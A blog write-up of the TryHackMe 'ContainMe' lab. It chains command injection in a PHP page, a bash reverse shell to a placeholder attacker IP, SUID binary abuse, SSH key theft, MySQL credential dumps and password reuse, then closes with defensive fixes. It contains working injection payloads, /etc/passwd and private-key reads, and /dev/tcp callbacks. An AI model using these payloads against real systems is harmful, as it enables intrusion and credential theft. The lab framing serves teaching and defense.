ContainMe is a multi-machine CTF challenge that tests your skills across several domains — web exploitation, binary analysis, privilege escalation, and lateral movement through LXD containers. The attack path spans two internal hosts, requiring you to chain multiple vulnerabilities together to reach root on the final machine.
Platform: TryHackMe Difficulty: Medium Category: Web Exploitation / Binary Analysis / Privilege Escalation / Container Pivoting
Attack chain at a glance:
Step Technique Result 1 Nmap + Gobuster recon Discovered index.php on port 80 2 Command injection via index.php RCE as www-data on host1 3 SUID binary abuse (crypt) Root on host1 4 SSH key theft Pivot to host2 as mike 5 MySQL credential dump, Plaintext passwords from database 6 Password reuse, Root on host2
Press enter or click to view image in full size
Phase 1: Reconnaissance
Port Scanning
We start with an aggressive nmap scan to enumerate open ports and services:
nmap -Pn -sC -sV -O -p 1-10000 <TARGET_IP>Results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu
80/tcp open http Apache httpd 2.4.29 (Ubuntu)
2222/tcp open EtherNetIP-1?
8022/tcp open ssh OpenSSH 8.2p1 UbuntuKey takeaways:
- Port 80 — Apache web server, our main attack surface
- Two SSH services on ports 22 and 8022 — a strong hint that this is an LXD container environment (host + container)
Web Enumeration
Running Gobuster reveals the files available on the web server:
gobuster dir -u http://<TARGET_IP> -w /usr/share/wordlists/dirb/common.txtindex.html (Status: 200) [Size: 10918]
index.php (Status: 200) [Size: 329]
info.php (Status: 200) [Size: 68942]The index.php file is suspiciously small at only 329 bytes — worth investigating.
Discovering the Vulnerability
Probing index.php with a path parameter shows it lists directory contents:
curl "http://<TARGET_IP>/index.php?path=/home/mike"drwxr-xr-x 5 mike mike 4.0K Jul 30 2021 .
drwx------ 2 mike mike 4.0K Jul 19 2021 .ssh
-rwxr-xr-x 1 mike mike 351K Jul 30 2021 1cryptupx<!-- where is the path ? -->The HTML comment — where is the path ? — is a nudge from the challenge author. The page is running ls on our input with no sanitization. Time to inject.
Phase 2: Initial Access — Command Injection
Confirming Injection
We tested several shell metacharacters to see which ones the server would execute. All three worked:
# Semicolon — runs ls /etc first, then cat /etc/passwd
curl "http://<TARGET_IP>/index.php?path=/etc;cat+/etc/passwd"# Pipe — pipes ls output into cat (effectively just runs cat)
curl "http://<TARGET_IP>/index.php?path=/etc|cat+/etc/passwd"# Newline — breaks the command into two separate lines
curl "http://<TARGET_IP>/index.php?path=/etc%0acat+/etc/passwd"
Each one successfully dumped /etc/passwd, confirming full command injection. The difference between them is subtle but worth understanding:
Operator Behaviour Output ; Run both commands sequentially, regardless of exit code ls /etc output then /etc/passwd | Pipe the stdout of the first command into the second. Only /etc/passwd %0a (newline) Treats everything after as a new shell command. Only /etc/passwd
We used the pipe (|) for the rest of the exploit since it gave cleaner output, but any of these would have worked. Reading the PHP source confirms why there was zero resistance to any of them:
curl "http://<TARGET_IP>/index.php?path=/etc|cat+/var/www/html/index.php"<?php
$command = "ls -alh ".$_REQUEST['path'];
passthru($command);
?>Zero input sanitization. The user-supplied path value is concatenated directly into a shell command and executed via passthru().
Getting a Reverse Shell
Start a listener on your attack machine:
nc -lvnp 4444Then trigger the reverse shell:
curl "http://<TARGET_IP>/index.php?path=/tmp%7Cbash+-c+'bash+-i+>%26+/dev/tcp/<ATTACKER_IP>/4444+0>%261'"listening on [any] 4444 ...
connect to [<ATTACKER_IP>] from <TARGET_IP>
www-data@host1:/var/www/html$We’re in as www-data on host1.
Phase 3: Privilege Escalation on host1
Finding SUID Binaries
From our www-data shell, we hunt for SUID binaries:
find / -perm -4000 -type f 2>/dev/null/usr/share/man/zh_TW/crypt <-- suspicious!
/usr/bin/passwd
/usr/bin/sudo
/bin/mount
/bin/su
...A SUID binary named crypt buried inside a man pages directory (/usr/share/man/zh_TW/) is a massive red flag. Man page directories should never contain executable SUID binaries.
Binary Analysis
We transfer the binary to our attack machine for analysis:
# On attack machine - receive the binary
nc -lvnp 5555 > crypt# On target - send it
cat /usr/share/man/zh_TW/crypt > /dev/tcp/<ATTACKER_IP>/5555Running file on it shows something odd:
crypt: ELF 64-bit MSB *unknown arch 0x3e00* (SYSV)The ELF header has its endianness byte set to 02 (big-endian) instead of 01 (little-endian) — intentional obfuscation. The hexdump also reveals a UPX signature embedded inside. We fix the header and unpack:
# Fix the endianness byte at offset 5
python3 -c "
data = bytearray(open('crypt','rb').read())
data[5] = 0x01
open('crypt_fixed','wb').write(bytes(data))
"# Unpack with UPX
upx -d crypt_fixed -o crypt_unpackedRunning strings on the unpacked binary reveals the key logic:
You wish! <-- wrong password response
/bin/bash <-- spawns a shell on correct password
The heartache, and the thousand natural shocks
That flesh is heir to,--'tis a consummation
Devoutly to be wish'd. To die,--to sleep;--
When we have shuffled off this mortal coil,The binary checks a password. If correct, it spawns /bin/bash — and since the binary has the SUID bit set, that shell runs as root. The Shakespeare quotes are embedded as decoys/hash material.
Exploiting the SUID Binary
After testing several inputs, the password turns out to be simply the machine’s username:
www-data@host1:/usr/share/man/zh_TW$ ./crypt mike
id
uid=0(root) gid=33(www-data) groups=33(www-data)Root on host1. The trivial password — the local username itself — is the key. The binary accepts it, verifies against its internal hash, and calls /bin/bash, inheriting SUID root privileges.
Press enter or click to view image in full size
Phase 4: Pivoting to host2
Network Discovery
As root, we check the network interfaces:
ip aeth0: 192.168.250.x/24 (external network)
eth1: 172.16.20.x/24 (internal container network)We’re on a dual-homed host. A ping sweep of the internal network finds another live machine:
for i in $(seq 1 254); do
ping -c1 -W1 172.16.20.$i 2>/dev/null | grep "64 bytes" && echo "172.16.20.$i UP"
done172.16.20.2 is UP
172.16.20.6 is UP <-- host2!The challenge name ContainMe now makes perfect sense — we’re pivoting through LXD containers.
Press enter or click to view image in full size
SSH into host2 via Mike’s Key
As root on host1, we can read Mike’s private SSH key:
cat /home/mike/.ssh/id_rsaWe use it to SSH directly into host2:
ssh -i id_rsa [email protected]Last login: Mon Jul 19 20:23:18 2021 from 172.16.20.2
mike@host2:~$We’re on host2 as mike.
Phase 5: Privilege Escalation on host2
Service Enumeration
Checking active network connections reveals MySQL running locally:
netstat -antptcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTENDumping MySQL Credentials
Connecting to MySQL with credentials found through enumeration:
mysql -u<REDACTED> -p<REDACTED>show databases;
use accounts;
show tables;
select * from users;+-------+---------------------+
| login | password |
+-------+---------------------+
| root | <REDACTED> |
| mike | <REDACTED> |
+-------+---------------------+Two sets of credentials — one for root and one for Mike.
Press enter or click to view image in full size
Password Reuse — Root on host2
Mike’s password unlocks a protected zip file found in /root/. The root database password works directly with su:
# Unzip the file using mike's password
unzip -P <REDACTED> /root/mike.zip# Escalate to root
su root
# Password: <REDACTED>root@host2:~# id
uid=0(root) gid=0(root) groups=0(root)Root on host2. Classic credential reuse — passwords found in the database work on system accounts.
Defense & Mitigation
Each vulnerability in this challenge has a real-world fix. Here’s how a defender would close every door we walked through.
1. Command Injection — Fix the PHP Code
The problem: User input was concatenated directly into a shell command with no validation.
// VULNERABLE — never do this
$command = "ls -alh " . $_REQUEST['path'];
passthru($command);The fix: Avoid shell execution entirely where possible. If you must use it, use escapeshellarg() to sanitize the input, and whitelist allowed values:
// SAFER — validate input against a whitelist
$allowed_paths = ['/var/www/html', '/home/mike'];
$path = $_REQUEST['path'];if (!in_array($path, $allowed_paths)) {
http_response_code(400);
exit("Invalid path.");
}$command = "ls -alh " . escapeshellarg($path);
passthru($command);
Even better — replace passthru() with native PHP functions like scandir() or DirectoryIterator that don't invoke a shell at all:
// BEST — no shell involved
$entries = scandir($_REQUEST['path']);
foreach ($entries as $entry) {
echo htmlspecialchars($entry) . "\n";
}Additional hardening:
- Run the web server process as a dedicated low-privilege user with no shell access
- Apply a Web Application Firewall (WAF) to block shell metacharacters (
|,;,&,`,$()) - Enable PHP’s
open_basedirto restrict file system access to the web root
2. SUID Binary Abuse — Audit and Restrict SUID Binaries
The problem: A custom SUID binary with a weak password was placed in an unexpected location (/usr/share/man/), making it easy to miss during routine audits.
Get Roshan Rajbanshi’s stories in your inbox
Join Medium for free to get updates from this writer.
The fix:
Regularly audit all SUID binaries on your system and investigate anything unexpected:
# Baseline all SUID binaries and alert on changes
find / -perm -4000 -type f 2>/dev/null > /tmp/suid_baseline.txt
diff /tmp/suid_baseline.txt /tmp/suid_current.txtRemove the SUID bit from any binary that doesn’t strictly need it:
chmod u-s /path/to/suspicious/binaryAdditional hardening:
- Mount partitions with the
nosuidflag where user-writable files live (e.g.,/tmp,/home) - Use Linux Security Modules (AppArmor, SELinux) to restrict what SUID binaries can do
- If a binary requires elevated privileges, prefer
sudowith a tightly scoped policy over SUID - Never store custom binaries in system directories like
/usr/share/man/
3. Weak SUID Binary Password — Secure Credential Handling in Binaries
The problem: The crypt binary accepted a trivially guessable password (the system username) to grant root access.
The fix:
Passwords embedded in binaries are inherently insecure — they can be extracted with strings, reverse engineering, or brute force. The right approach is to never use passwords as a gate in SUID binaries at all. Use sudo with proper policy instead:
# /etc/sudoers.d/mike
mike ALL=(root) NOPASSWD: /usr/bin/specific-commandIf a binary must do authentication, use PAM (Pluggable Authentication Modules) rather than a hardcoded comparison. At a minimum, never use predictable values like usernames as passwords.
4. Plaintext Credentials in MySQL — Hash Your Passwords
The problem: The accounts.users table stores passwords in plain text. Once an attacker accessed MySQL, all credentials were immediately usable.
The fix:
Always hash passwords before storing them. Use a modern, slow hashing algorithm designed for passwords:
-- Store a bcrypt hash, not the plaintext password
INSERT INTO users (login, password) VALUES ('mike', '$2y$12$...');In application code (PHP example):
// Hashing on registration
$hash = password_hash($plaintext_password, PASSWORD_BCRYPT);// Verification on login
if (password_verify($input, $stored_hash)) {
// authenticated
}Additional hardening:
- Apply the principle of least privilege to database users — the web app user should only have
SELECTon the tables it needs, never access tomysql.user - Restrict MySQL to localhost only (already done here, but worth confirming in
my.cnf) - Enable MySQL audit logging to detect credential dump queries
5. Password Reuse — Enforce Unique Credentials
The problem: The same password was used in the database and for a system account, meaning a single credential dump led directly to root.
The fix:
Enforce strict separation between application credentials and system credentials:
- Use a password manager or secrets manager (HashiCorp Vault, AWS Secrets Manager) to generate and store unique credentials per service
- Never reuse a password between a database account and an OS user account
- Rotate credentials regularly and after any suspected compromise
- Implement multi-factor authentication (MFA) on all privileged accounts where possible
6. SSH Key Exposure Across Container Boundary — Harden Container Isolation
The problem: Gaining root on host1 (a container) allowed us to read the SSH private key and pivot directly to host2. The key was unprotected and reachable from within the container.
The fix:
SSH private keys should never be readable by the root of an adjacent container:
# Keys should be owned by the user and readable only by them
chmod 600 /home/mike/.ssh/id_rsa
chmod 700 /home/mike/.ssh/Stronger mitigations:
- Use SSH certificates instead of long-lived keys — they can be issued with short TTLs and scoped to specific hosts
- Protect private keys with a strong passphrase so a stolen key file is not immediately usable
- Use LXD profiles to enforce container isolation — restrict inter-container network access with firewall rules
- Apply
nftablesoriptablesRules to prevent containers from reaching other container IPs unless explicitly required - Audit which containers share network segments and apply network segmentation where containers have no business communicating
Defense Summary
┌─────────────────────────────┬──────────────────────────────────────┬───────────────────────────────────────────────┐
│ Vulnerability │ Immediate Fix │ Deeper Hardening │
├─────────────────────────────┼──────────────────────────────────────┼───────────────────────────────────────────────┤
│ Command Injection │ escapeshellarg() / use scandir() │ WAF, open_basedir, least-privilege proc user │
│ Suspicious SUID Binary │ Remove SUID bit, audit regularly │ nosuid mounts, AppArmor/SELinux, use sudo │
│ Weak SUID Password │ Don't use passwords in SUID binaries │ Use PAM or sudo policy │
│ Plaintext DB Passwords │ Hash with bcrypt/argon2 │ Least-privilege DB user, audit logging │
│ Password Reuse │ Unique password per service │ Secrets manager, MFA on privileged accounts │
│ SSH Key Exposure │ chmod 600, passphrase on key │ SSH certificates, network segmentation │
└─────────────────────────────┴──────────────────────────────────────┴───────────────────────────────────────────────┘Lessons Learned
Vulnerabilities Exploited
- Command Injection —
passthru()Called with unsanitized user input. Always validate and escape user-supplied data before passing it to shell commands. - Obscured SUID Binary — A custom SUID binary hidden
/usr/share/man/with a trivially guessable password. Always audit SUID binaries — their location, owner, and purpose. - Plaintext Credentials in Database —Passwords are stored in plain text in MySQL, so switch to hashing methods like bcrypt or argon2 for secure credential storage.
- Password Reuse — The same password is used in the database and for a system account. Use unique passwords per service.
- SSH Key Accessible Across Container Boundary — Root on one container could read another user’s SSH private key. Apply least-privilege principles to key storage.
Tools Used
┌─────────────┬────────────────────────────────────────┐
│ Tool │ Purpose │
├─────────────┼────────────────────────────────────────┤
│ nmap │ Port scanning and service detection │
│ gobuster │ Web directory enumeration │
│ curl │ HTTP interaction and payload delivery │
│ netcat │ Reverse shell listener │
│ upx │ Binary unpacking │
│ strings │ Binary analysis │
│ mysql │ Database enumeration │
└─────────────┴────────────────────────────────────────┘Full Attack Path
[Attacker Machine]
|
+---> index.php?path= command injection
| -> www-data shell on host1
|
+---> find SUID binary: /usr/share/man/zh_TW/crypt
| -> ./crypt <username>
| -> root on host1
|
+---> cat /home/mike/.ssh/id_rsa
| -> ssh [email protected]
| -> mike on host2
|
+---> mysql accounts.users
-> credentials dump
-> su root
-> root on host2Thanks for reading! If you found this walkthrough helpful, feel free to leave a clap. Happy hacking! 🚀